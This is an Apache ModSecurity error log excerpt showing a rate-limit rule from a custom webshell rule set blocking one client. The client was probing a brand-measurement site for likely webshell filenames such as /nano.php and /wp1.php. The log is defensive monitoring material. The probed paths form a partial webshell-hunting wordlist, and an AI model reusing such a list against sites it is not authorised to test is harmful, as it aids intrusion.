[Fri Apr 10 16:23:48.958873 2026] [:error] [pid 13101:tid 13151] [client 172.213.241.33:10866] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "adizlN8Ldw85818pj2piSQAAAJI"]
[Fri Apr 10 16:23:49.429918 2026] [:error] [pid 13100:tid 13110] [client 172.213.241.33:11073] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "adizlVzg-ZkZ0InWIP1T8wAAAQU"]
[Fri Apr 10 16:23:49.918985 2026] [:error] [pid 13189:tid 13192] [client 172.213.241.33:10844] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "adizlZAxiJKPums3eBAVBQAAAEA"]
[Fri Apr 10 16:23:50.390735 2026] [:error] [pid 13189:tid 13194] [client 172.213.241.33:11172] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "adizlpAxiJKPums3eBAVDAAAAEI"]
[Fri Apr 10 16:23:50.858871 2026] [:error] [pid 3934:tid 3953] [client 172.213.241.33:11160] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "adizloa41m-BS8mg82cHEAAAAM4"]
[Fri Apr 10 16:23:51.348911 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:11168] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "adizl4a41m-BS8mg82cHEwAAAMY"]
[Fri Apr 10 16:23:51.812195 2026] [:error] [pid 13101:tid 13151] [client 172.213.241.33:11163] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "adizl98Ldw85818pj2piXAAAAJI"]
[Fri Apr 10 16:23:52.306600 2026] [:error] [pid 3934:tid 3954] [client 172.213.241.33:11074] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "adizmIa41m-BS8mg82cHGQAAAM8"]
[Fri Apr 10 16:23:52.781008 2026] [:error] [pid 13102:tid 13180] [client 172.213.241.33:11137] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "adizmP9xLvjW2guI55YRFgAAABQ"]
[Fri Apr 10 16:23:53.255775 2026] [:error] [pid 13101:tid 13154] [client 172.213.241.33:11113] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "adizmd8Ldw85818pj2piawAAAJU"]
[Fri Apr 10 16:23:53.720024 2026] [:error] [pid 13102:tid 13178] [client 172.213.241.33:11181] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "adizmf9xLvjW2guI55YRGwAAABI"]
[Fri Apr 10 16:23:54.183554 2026] [:error] [pid 3934:tid 3939] [client 172.213.241.33:11229] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adizmoa41m-BS8mg82cHJAAAAMA"]
[Fri Apr 10 16:23:54.661891 2026] [:error] [pid 3934:tid 3944] [client 172.213.241.33:11235] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adizmoa41m-BS8mg82cHJgAAAMU"]
[Fri Apr 10 16:23:55.124919 2026] [:error] [pid 13101:tid 13133] [client 172.213.241.33:11159] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adizm98Ldw85818pj2piegAAAIA"]
[Fri Apr 10 16:23:55.595762 2026] [:error] [pid 3934:tid 3953] [client 172.213.241.33:11190] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "adizm4a41m-BS8mg82cHLgAAAM4"]
[Fri Apr 10 16:23:56.061429 2026] [:error] [pid 3934:tid 3944] [client 172.213.241.33:11098] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "adiznIa41m-BS8mg82cHNgAAAMU"]
[Fri Apr 10 16:23:56.524967 2026] [:error] [pid 13189:tid 13209] [client 172.213.241.33:11085] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "adiznJAxiJKPums3eBAVMQAAAFE"]
[Fri Apr 10 16:23:56.998425 2026] [:error] [pid 13189:tid 13193] [client 172.213.241.33:11232] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "adiznJAxiJKPums3eBAVOAAAAEE"]
[Fri Apr 10 16:23:57.463778 2026] [:error] [pid 13189:tid 13192] [client 172.213.241.33:11193] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nano.php"] [unique_id "adiznZAxiJKPums3eBAVPwAAAEA"]
[Fri Apr 10 16:23:57.939184 2026] [:error] [pid 13189:tid 13193] [client 172.213.241.33:11120] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "adiznZAxiJKPums3eBAVRAAAAEE"]
[Fri Apr 10 16:23:58.407959 2026] [:error] [pid 13189:tid 13216] [client 172.213.241.33:11105] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "adiznpAxiJKPums3eBAVSAAAAFg"]
[Fri Apr 10 16:23:58.895957 2026] [:error] [pid 3934:tid 3953] [client 172.213.241.33:11244] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "adiznoa41m-BS8mg82cHQQAAAM4"]
[Fri Apr 10 16:23:59.355343 2026] [:error] [pid 13100:tid 13111] [client 172.213.241.33:11010] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "adizn1zg-ZkZ0InWIP1UEAAAAQY"]
[Fri Apr 10 16:23:59.825093 2026] [:error] [pid 13101:tid 13149] [client 172.213.241.33:11101] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "adizn98Ldw85818pj2pijQAAAJA"]
[Fri Apr 10 16:24:00.291111 2026] [:error] [pid 3934:tid 3963] [client 172.213.241.33:11258] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "adizoIa41m-BS8mg82cHSgAAANg"]
[Fri Apr 10 16:24:00.764631 2026] [:error] [pid 3934:tid 3955] [client 172.213.241.33:11256] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "adizoIa41m-BS8mg82cHTgAAANA"]
[Fri Apr 10 16:24:01.231669 2026] [:error] [pid 13189:tid 13209] [client 172.213.241.33:11241] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "adizoZAxiJKPums3eBAVXgAAAFE"]
[Fri Apr 10 16:24:01.709517 2026] [:error] [pid 3934:tid 3952] [client 172.213.241.33:11153] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "adizoYa41m-BS8mg82cHVwAAAM0"]
[Fri Apr 10 16:24:02.180451 2026] [:error] [pid 13189:tid 13208] [client 172.213.241.33:11012] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "adizopAxiJKPums3eBAVZgAAAFA"]
[Fri Apr 10 16:24:02.643326 2026] [:error] [pid 13100:tid 13111] [client 172.213.241.33:10821] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "adizolzg-ZkZ0InWIP1UIQAAAQY"]
[Fri Apr 10 16:24:03.133398 2026] [:error] [pid 13100:tid 13118] [client 172.213.241.33:11099] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "adizo1zg-ZkZ0InWIP1UJAAAAQ0"]
[Fri Apr 10 16:24:03.595592 2026] [:error] [pid 13101:tid 13146] [client 172.213.241.33:10818] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "adizo98Ldw85818pj2pinAAAAI0"]
[Fri Apr 10 16:24:04.066887 2026] [:error] [pid 3934:tid 3958] [client 172.213.241.33:10833] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "adizpIa41m-BS8mg82cHYAAAANM"]
[Fri Apr 10 16:24:04.529439 2026] [:error] [pid 13101:tid 13134] [client 172.213.241.33:10876] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "adizpN8Ldw85818pj2pioAAAAIE"]
[Fri Apr 10 16:24:04.992818 2026] [:error] [pid 3934:tid 3939] [client 172.213.241.33:11169] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "adizpIa41m-BS8mg82cHZAAAAMA"]
[Fri Apr 10 16:24:05.458155 2026] [:error] [pid 13101:tid 13147] [client 172.213.241.33:11179] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adizpd8Ldw85818pj2piowAAAI4"]
[Fri Apr 10 16:24:05.921833 2026] [:error] [pid 13100:tid 13105] [client 172.213.241.33:11194] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adizpVzg-ZkZ0InWIP1UNQAAAQA"]
[Fri Apr 10 16:24:06.398414 2026] [:error] [pid 13189:tid 13209] [client 172.213.241.33:11259] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adizppAxiJKPums3eBAVdgAAAFE"]
[Fri Apr 10 16:24:06.868385 2026] [:error] [pid 13189:tid 13214] [client 172.213.241.33:11118] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adizppAxiJKPums3eBAVeAAAAFY"]
[Fri Apr 10 16:24:07.335861 2026] [:error] [pid 3934:tid 3953] [client 172.213.241.33:11079] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adizp4a41m-BS8mg82cHawAAAM4"]
[Fri Apr 10 16:24:07.796622 2026] [:error] [pid 13189:tid 13200] [client 172.213.241.33:11158] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adizp5AxiJKPums3eBAVewAAAEg"]
[Fri Apr 10 16:24:08.270254 2026] [:error] [pid 13189:tid 13206] [client 172.213.241.33:11104] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adizqJAxiJKPums3eBAVgAAAAE4"]
[Fri Apr 10 16:24:08.748658 2026] [:error] [pid 3934:tid 3943] [client 172.213.241.33:11174] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adizqIa41m-BS8mg82cHdgAAAMQ"]
[Fri Apr 10 16:24:09.213729 2026] [:error] [pid 13100:tid 13113] [client 172.213.241.33:11092] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "adizqVzg-ZkZ0InWIP1UPwAAAQg"]
[Fri Apr 10 16:24:09.687355 2026] [:error] [pid 3934:tid 3960] [client 172.213.241.33:11123] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "adizqYa41m-BS8mg82cHfwAAANU"]
[Fri Apr 10 16:24:10.151714 2026] [:error] [pid 13102:tid 13161] [client 172.213.241.33:11140] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "adizqv9xLvjW2guI55YRSwAAAAE"]
[Fri Apr 10 16:24:10.632044 2026] [:error] [pid 13102:tid 13178] [client 172.213.241.33:10954] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "adizqv9xLvjW2guI55YRTQAAABI"]
[Fri Apr 10 16:24:11.099038 2026] [:error] [pid 3934:tid 3943] [client 172.213.241.33:11119] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "adizq4a41m-BS8mg82cHhwAAAMQ"]
[Fri Apr 10 16:24:11.573085 2026] [:error] [pid 3934:tid 3942] [client 172.213.241.33:11087] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "adizq4a41m-BS8mg82cHiwAAAMM"]
[Fri Apr 10 16:24:12.046138 2026] [:error] [pid 13100:tid 13125] [client 172.213.241.33:11036] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "adizrFzg-ZkZ0InWIP1URAAAARQ"]
[Fri Apr 10 16:24:12.521954 2026] [:error] [pid 3934:tid 3943] [client 172.213.241.33:11175] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "adizrIa41m-BS8mg82cHmQAAAMQ"]
[Fri Apr 10 16:24:13.055374 2026] [:error] [pid 3934:tid 3954] [client 172.213.241.33:11116] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adizrYa41m-BS8mg82cHogAAAM8"]
[Fri Apr 10 16:24:13.590917 2026] [:error] [pid 3934:tid 3939] [client 172.213.241.33:11025] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adizrYa41m-BS8mg82cHqAAAAMA"]
[Fri Apr 10 16:24:14.055419 2026] [:error] [pid 3934:tid 3961] [client 172.213.241.33:11180] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adizroa41m-BS8mg82cHsQAAANY"]
[Fri Apr 10 16:24:14.539558 2026] [:error] [pid 13189:tid 13197] [client 172.213.241.33:11093] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adizrpAxiJKPums3eBAVigAAAEU"]
[Fri Apr 10 16:24:15.020577 2026] [:error] [pid 13189:tid 13211] [client 172.213.241.33:11143] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adizr5AxiJKPums3eBAVkAAAAFM"]
